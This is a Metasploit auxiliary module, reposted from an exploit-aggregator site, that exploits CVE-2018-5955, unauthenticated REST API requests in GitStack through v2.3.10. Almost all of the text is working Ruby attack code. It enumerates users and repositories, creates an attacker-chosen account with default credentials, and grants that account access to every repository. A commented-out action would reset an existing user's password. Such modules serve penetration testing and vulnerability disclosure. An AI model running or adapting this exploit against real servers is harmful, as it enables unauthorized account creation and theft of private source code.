Share
## https://sploitus.com/exploit?id=PACKETSTORM:180829
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitStack Unauthenticated REST API Requests',  
'Description' => %q{  
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.  
The module supports requests for listing users of the application and listing  
available repositories. Additionally, the module can create a user and add the user  
to the application's repositories. This module has been tested against GitStack v2.3.10.  
},  
'Author' => [  
'Kacper Szurek', # Vulnerability discovery and PoC  
'Jacob Robles' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2018-5955'],  
['EDB', '43777'],  
['EDB', '44044']  
],  
'DisclosureDate' => '2018-01-15',  
'Actions' => [  
[  
'LIST',  
{  
'Description' => 'List application users',  
'List' => 'GET',  
'UserPath' => '/rest/user/'  
}  
],  
[  
'CREATE',  
{  
'Description' => 'Create a user on the application',  
'Create' => 'POST',  
'List' => 'GET',  
'UserPath' => '/rest/user/',  
'RepoPath' => '/rest/repository/'  
}  
],  
# If this is uncommented, you will be able to change an  
# existing user's password.  
# After modifying the user's password, the user will be  
# added to all available repositories.  
# The cleanup action removes the user from all repositories  
# and then deletes the user... so this action may not be desirable.  
# [  
# 'MODIFY',  
# {  
# 'Description' => "Change the application user's password",  
# 'Create' => 'PUT',  
# 'List' => 'GET',  
# 'UserPath' => '/rest/user/',  
# 'RepoPath' => '/rest/repository/'  
# }  
# ],  
[  
'LIST_REPOS',  
{  
'Description' => 'List available repositories',  
'List' => 'GET',  
'RepoPath' => '/rest/repository/'  
}  
],  
[  
'CLEANUP',  
{  
'Description' => 'Remove user from repositories and delete user',  
'List' => 'GET',  
'Remove' => 'DELETE',  
'RepoPath' => '/rest/repository/',  
'UserPath' => '/rest/user/'  
}  
]  
],  
'DefaultAction' => 'LIST'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),  
OptString.new('PASSWORD', [false, 'Password for user', 'password'])  
]  
)  
end  
  
def get_users  
path = action.opts['UserPath']  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['List']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
if res && res.code == 200  
begin  
mylist = res.get_json_document  
mylist -= ['everyone']  
rescue JSON::ParserError => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
mylist.each do |item|  
print_good(item.to_s)  
end  
end  
end  
  
def get_repos  
path = action.opts['RepoPath']  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['List']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return nil  
end  
if res && res.code == 200  
begin  
mylist = res.get_json_document  
return mylist  
rescue JSON::ParserError => e  
print_error("Failed: #{e.class} - #{e.message}")  
return nil  
end  
else  
return nil  
end  
end  
  
def clean_app  
user = datastore['USERNAME']  
unless user  
print_error('USERNAME required')  
return  
end  
  
mylist = get_repos  
if mylist  
# Remove user from each repository  
mylist.each do |item|  
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['Remove']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
  
if res && res.code == 200  
print_good(res.body.to_s)  
else  
print_status("User #{user} doesn't have access to #{item['name']}")  
end  
end  
end  
  
# Delete the user account  
path = "#{action.opts['UserPath']}#{user}/"  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['Remove']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
  
# Check if the account was successfully deleted  
if res && res.code == 200  
print_good(res.body.to_s)  
else  
print_error(res.body.to_s)  
end  
end  
  
def add_user  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
  
begin  
res = send_request_cgi({  
'uri' => action.opts['UserPath'],  
'method' => action.opts['Create'],  
'vars_post' => {  
'username' => user,  
'password' => pass  
}  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
if res && res.code == 200  
print_good("SUCCESS: #{user}:#{pass}")  
else  
print_error(res.body.to_s)  
return  
end  
  
mylist = get_repos  
if mylist  
mylist.each do |item|  
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['Create']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
next  
end  
if res && res.code == 200  
print_good(res.body.to_s)  
else  
print_error('Failed to add user')  
print_error(res.body.to_s)  
end  
end  
else  
print_error('Failed to retrieve repository list')  
end  
end  
  
def run  
if ['LIST'].include?(action.name)  
print_status('Retrieving Users')  
get_users  
elsif ['LIST_REPOS'].include?(action.name)  
print_status('Retrieving Repositories')  
mylist = get_repos  
if mylist  
mylist.each do |item|  
print_good((item['name']).to_s)  
end  
else  
print_error('Failed to retrieve repository list')  
end  
elsif ['CLEANUP'].include?(action.name)  
clean_app  
elsif datastore['USERNAME'] && datastore['PASSWORD']  
add_user  
else  
print_error('USERNAME and PASSWORD required')  
end  
end  
end